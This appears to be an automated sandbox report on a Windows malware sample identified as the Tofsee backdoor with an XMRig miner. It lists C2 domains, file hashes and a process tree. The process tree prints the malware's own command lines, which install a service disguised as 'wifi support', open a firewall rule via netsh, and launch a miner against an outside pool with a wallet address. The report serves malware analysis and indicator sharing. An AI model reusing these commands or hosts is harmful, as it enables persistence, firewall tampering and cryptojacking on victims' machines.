Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2022, 13:06

General

  • Target
    file.exe
  • Size 225KB
  • Sample221024-qb3k8aghbl
  • SHA256 a6fc1815043d9d25d17bcb3fd9895d3fa34e5b3c2bd230dd62b43742b225e9c2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5092
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dgvnsjtq\
      2⤵
        PID:4964
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bvlcfdgp.exe" C:\Windows\SysWOW64\dgvnsjtq\
        2⤵
          PID:3604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dgvnsjtq binPath= "C:\Windows\SysWOW64\dgvnsjtq\bvlcfdgp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4380
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dgvnsjtq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dgvnsjtq
          2⤵
          • Launches sc.exe
          PID:4180
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3892
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 1036
          2⤵
          • Program crash
          PID:3676
      • C:\Windows\SysWOW64\dgvnsjtq\bvlcfdgp.exe
        C:\Windows\SysWOW64\dgvnsjtq\bvlcfdgp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3600
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4752
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:716
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3600 -s 516
          2⤵
          • Program crash
          PID:3092
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5092 -ip 5092
        1⤵
          PID:1880
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3600 -ip 3600
          1⤵
            PID:5096

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                bvlcfdgp.exe

                • Path C:\Users\Admin\AppData\Local\Temp\bvlcfdgp.exe
                • Size 14.3MB
                • SHA256 aa48448dd80d4dafb59178782e012b1135fa617077398e76a4aeabd2e6596afb
                • MD5 SHA1 SHA512 SSDEEP

                bvlcfdgp.exe

                • Path C:\Windows\SysWOW64\dgvnsjtq\bvlcfdgp.exe
                • Size 14.3MB
                • SHA256 aa48448dd80d4dafb59178782e012b1135fa617077398e76a4aeabd2e6596afb
                • MD5 SHA1 SHA512 SSDEEP

                memory/716-172-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/716-177-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/3600-150-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/3600-149-0x00000000006BE000-0x00000000006CE000-memory.dmp

                memory/4752-144-0x00000000009E0000-0x00000000009F5000-memory.dmp

                memory/4752-168-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

                memory/4752-165-0x0000000007780000-0x0000000007B8B000-memory.dmp

                memory/4752-162-0x0000000001FF0000-0x0000000001FF5000-memory.dmp

                memory/4752-151-0x00000000009E0000-0x00000000009F5000-memory.dmp

                memory/4752-152-0x00000000009E0000-0x00000000009F5000-memory.dmp

                memory/4752-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/4752-156-0x0000000000DF0000-0x0000000000DF6000-memory.dmp

                memory/4752-159-0x0000000001F60000-0x0000000001F70000-memory.dmp

                memory/5092-148-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/5092-147-0x0000000000843000-0x0000000000854000-memory.dmp

                memory/5092-132-0x0000000000843000-0x0000000000854000-memory.dmp

                memory/5092-134-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/5092-133-0x00000000006B0000-0x00000000006C3000-memory.dmp